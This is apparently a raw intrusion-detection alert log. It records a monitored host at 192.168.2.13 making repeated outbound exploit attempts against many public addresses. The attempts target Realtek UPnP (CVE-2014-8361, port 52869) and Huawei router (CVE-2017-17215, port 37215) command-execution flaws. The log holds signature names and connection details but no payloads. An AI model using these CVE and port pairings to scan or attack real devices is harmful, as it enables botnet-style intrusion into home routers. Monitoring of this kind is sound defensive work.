Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 118.95.117.249

Timestamp:	07/20/24-23:01:14.513708
SID:	2027339
Source Port:	54014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 51.65.47.196

Timestamp:	07/20/24-23:01:14.525496
SID:	2831300
Source Port:	50646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.97.63.100

Timestamp:	07/20/24-23:01:08.407500
SID:	2829579
Source Port:	34388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 141.172.190.0

Timestamp:	07/20/24-23:01:19.594022
SID:	2027339
Source Port:	45210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.57.160.247

Timestamp:	07/20/24-23:01:12.543114
SID:	2829579
Source Port:	47696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 117.76.117.93

Timestamp:	07/20/24-23:01:14.544463
SID:	2831300
Source Port:	35444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.174.197.147

Timestamp:	07/20/24-23:01:22.741097
SID:	2835222
Source Port:	59530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.52.49.166

Timestamp:	07/20/24-23:01:02.703502
SID:	2835222
Source Port:	60068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.162.54.233

Timestamp:	07/20/24-23:01:12.360353
SID:	2835222
Source Port:	40890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 168.200.41.227

Timestamp:	07/20/24-23:01:20.306974
SID:	2025132
Source Port:	40900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 84.205.102.154

Timestamp:	07/20/24-23:01:19.178100
SID:	2025132
Source Port:	38094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 162.160.111.35

Timestamp:	07/20/24-23:01:04.209332
SID:	2025132
Source Port:	48954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.207.237

Timestamp:	07/20/24-23:01:14.998326
SID:	2829579
Source Port:	53280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.77.20.171

Timestamp:	07/20/24-23:01:06.820921
SID:	2835222
Source Port:	34606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 121.35.219.146

Timestamp:	07/20/24-23:01:14.520422
SID:	2831300
Source Port:	57380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 223.12.56.51

Timestamp:	07/20/24-23:01:06.806392
SID:	2835222
Source Port:	54820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.83.163.214

Timestamp:	07/20/24-23:01:04.907418
SID:	2835222
Source Port:	44330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 51.230.131.89

Timestamp:	07/20/24-23:01:05.445612
SID:	2027339
Source Port:	57540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.29.113.77

Timestamp:	07/20/24-23:01:36.787101
SID:	2835222
Source Port:	38846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 63.139.62.111

Timestamp:	07/20/24-23:01:14.530140
SID:	2831300
Source Port:	38082
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 99.160.201.206

Timestamp:	07/20/24-23:01:14.536391
SID:	2027339
Source Port:	56476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 112.41.208.220

Timestamp:	07/20/24-23:01:27.237698
SID:	2829579
Source Port:	46118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.199.202.121

Timestamp:	07/20/24-23:01:04.874130
SID:	2835222
Source Port:	60930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.232.126.115

Timestamp:	07/20/24-23:01:36.794115
SID:	2835222
Source Port:	56380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 205.130.81.109

Timestamp:	07/20/24-23:01:06.129068
SID:	2025132
Source Port:	43568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 72.15.115.172

Timestamp:	07/20/24-23:01:27.286229
SID:	2835222
Source Port:	37812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.10.21.189

Timestamp:	07/20/24-23:01:06.812618
SID:	2835222
Source Port:	39712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.163.250.104

Timestamp:	07/20/24-23:01:22.797406
SID:	2829579
Source Port:	42600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.74.135.43

Timestamp:	07/20/24-23:01:02.678688
SID:	2829579
Source Port:	47188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.201.10.23

Timestamp:	07/20/24-23:00:59.019912
SID:	2835222
Source Port:	35076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 83.59.61.36

Timestamp:	07/20/24-23:01:05.869040
SID:	2027339
Source Port:	52830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 168.200.41.227

Timestamp:	07/20/24-23:01:27.358600
SID:	2027339
Source Port:	41592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.229.108.254

Timestamp:	07/20/24-23:01:36.850101
SID:	2829579
Source Port:	45652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.29.167.252

Timestamp:	07/20/24-23:01:15.000002
SID:	2835222
Source Port:	33410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 89.84.130.3

Timestamp:	07/20/24-23:01:05.948085
SID:	2027339
Source Port:	40854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 116.242.147.193

Timestamp:	07/20/24-23:01:32.203847
SID:	2835222
Source Port:	39446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.253.26.85

Timestamp:	07/20/24-23:01:06.804996
SID:	2829579
Source Port:	44796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.128.222.193

Timestamp:	07/20/24-23:01:32.203847
SID:	2829579
Source Port:	50280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 202.159.56.129

Timestamp:	07/20/24-23:01:03.929284
SID:	2025132
Source Port:	44888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.79.63.222

Timestamp:	07/20/24-23:00:59.021890
SID:	2835222
Source Port:	58998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 129.209.221.62

Timestamp:	07/20/24-23:01:14.503288
SID:	2831300
Source Port:	32988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.34.92.241

Timestamp:	07/20/24-23:00:59.019997
SID:	2829579
Source Port:	53188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.35.182.26

Timestamp:	07/20/24-23:01:04.908544
SID:	2829579
Source Port:	53060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.12.156.36

Timestamp:	07/20/24-23:01:36.781432
SID:	2829579
Source Port:	58288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.204.98.25

Timestamp:	07/20/24-23:00:59.021252
SID:	2835222
Source Port:	37320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.175.226

Timestamp:	07/20/24-23:01:36.781255
SID:	2829579
Source Port:	56918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.70.102.93

Timestamp:	07/20/24-23:00:59.021393
SID:	2829579
Source Port:	54336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 13.246.228.105

Timestamp:	07/20/24-23:01:12.485458
SID:	2835222
Source Port:	37386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.154.230

Timestamp:	07/20/24-23:01:25.390311
SID:	2835222
Source Port:	51896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.252.230.80

Timestamp:	07/20/24-23:01:25.460589
SID:	2829579
Source Port:	56396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 106.43.123.108

Timestamp:	07/20/24-23:01:14.530874
SID:	2027339
Source Port:	35364
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.115.122.156

Timestamp:	07/20/24-23:01:27.263646
SID:	2829579
Source Port:	54494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.236.227.173

Timestamp:	07/20/24-23:01:04.907419
SID:	2835222
Source Port:	40488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.137.24.118

Timestamp:	07/20/24-23:01:36.793382
SID:	2829579
Source Port:	50624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 220.123.4.18

Timestamp:	07/20/24-23:01:14.508164
SID:	2027339
Source Port:	34892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 74.253.225.130

Timestamp:	07/20/24-23:01:05.491830
SID:	2027339
Source Port:	57330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.202.34.88

Timestamp:	07/20/24-23:00:59.055158
SID:	2829579
Source Port:	43270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.28.62.129

Timestamp:	07/20/24-23:01:04.879348
SID:	2835222
Source Port:	49912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.51.100.49

Timestamp:	07/20/24-23:01:25.391568
SID:	2829579
Source Port:	52722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 170.245.248.200

Timestamp:	07/20/24-23:01:27.352864
SID:	2831300
Source Port:	48646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.133.175.82

Timestamp:	07/20/24-23:01:32.271087
SID:	2829579
Source Port:	33108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 205.67.98.173

Timestamp:	07/20/24-23:01:07.575114
SID:	2027339
Source Port:	39206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.237.245.241

Timestamp:	07/20/24-23:01:32.202245
SID:	2829579
Source Port:	53506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.76.224.116

Timestamp:	07/20/24-23:01:12.485458
SID:	2835222
Source Port:	39238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 110.202.3.118

Timestamp:	07/20/24-23:00:59.021321
SID:	2829579
Source Port:	33654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 45.56.154.125

Timestamp:	07/20/24-23:01:32.260443
SID:	2829579
Source Port:	51850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.181.146.64

Timestamp:	07/20/24-23:00:59.021510
SID:	2829579
Source Port:	41822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.173.117.30

Timestamp:	07/20/24-23:01:12.492810
SID:	2829579
Source Port:	39726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 126.247.30.6

Timestamp:	07/20/24-23:01:06.801053
SID:	2829579
Source Port:	34770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.133.222.199

Timestamp:	07/20/24-23:01:22.797406
SID:	2829579
Source Port:	51992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.133.113.49

Timestamp:	07/20/24-23:01:25.390310
SID:	2829579
Source Port:	48260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 75.29.136.52

Timestamp:	07/20/24-23:01:27.269293
SID:	2829579
Source Port:	57262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 150.134.45.104

Timestamp:	07/20/24-23:01:04.794679
SID:	2027339
Source Port:	50598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 60.215.234.238

Timestamp:	07/20/24-23:01:19.334468
SID:	2027339
Source Port:	34982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 115.130.21.220

Timestamp:	07/20/24-23:01:06.628186
SID:	2025132
Source Port:	42390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.227.153.203

Timestamp:	07/20/24-23:01:04.874130
SID:	2835222
Source Port:	38876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 107.240.237.92

Timestamp:	07/20/24-23:01:14.574230
SID:	2831300
Source Port:	55278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.53.105.187

Timestamp:	07/20/24-23:01:05.542461
SID:	2027339
Source Port:	35418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 212.178.98.236

Timestamp:	07/20/24-23:01:27.352669
SID:	2831300
Source Port:	51442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.99.139.53

Timestamp:	07/20/24-23:01:17.773605
SID:	2829579
Source Port:	58908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 138.119.175.2

Timestamp:	07/20/24-23:01:08.418538
SID:	2829579
Source Port:	54122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.118.0.63

Timestamp:	07/20/24-23:01:22.737281
SID:	2829579
Source Port:	47548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.110.61.47

Timestamp:	07/20/24-23:01:24.625525
SID:	2835222
Source Port:	50534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.70.51.151

Timestamp:	07/20/24-23:01:06.806392
SID:	2835222
Source Port:	47198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.94.251.61

Timestamp:	07/20/24-23:01:02.678688
SID:	2835222
Source Port:	37170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.90.204.179

Timestamp:	07/20/24-23:01:27.232388
SID:	2835222
Source Port:	49092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.251.250.240

Timestamp:	07/20/24-23:01:14.998674
SID:	2835222
Source Port:	55292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 131.78.91.211

Timestamp:	07/20/24-23:01:36.808711
SID:	2829579
Source Port:	47686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.183.116.207

Timestamp:	07/20/24-23:01:12.356929
SID:	2835222
Source Port:	44614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 88.255.138.29

Timestamp:	07/20/24-23:01:22.815176
SID:	2829579
Source Port:	47104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 39.238.204.107

Timestamp:	07/20/24-23:01:04.157917
SID:	2025132
Source Port:	42138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 118.95.117.249

Timestamp:	07/20/24-23:01:04.748993
SID:	2027339
Source Port:	51914
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.44.172.216

Timestamp:	07/20/24-23:01:14.998077
SID:	2835222
Source Port:	44014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 74.193.187.37

Timestamp:	07/20/24-23:01:27.289200
SID:	2829579
Source Port:	57840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.206.114.161

Timestamp:	07/20/24-23:01:07.567973
SID:	2027339
Source Port:	50716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 221.202.160.22

Timestamp:	07/20/24-23:01:02.620832
SID:	2835222
Source Port:	46610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 171.206.136.183

Timestamp:	07/20/24-23:01:20.312979
SID:	2025132
Source Port:	60968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.115.122.156

Timestamp:	07/20/24-23:01:27.263646
SID:	2835222
Source Port:	54494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 203.43.242.224

Timestamp:	07/20/24-23:01:22.819749
SID:	2835222
Source Port:	45862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.24.246.27

Timestamp:	07/20/24-23:01:27.232388
SID:	2829579
Source Port:	50782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 104.66.3.1

Timestamp:	07/20/24-23:01:32.199687
SID:	2829579
Source Port:	51558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 138.25.247.16

Timestamp:	07/20/24-23:01:04.630544
SID:	2025132
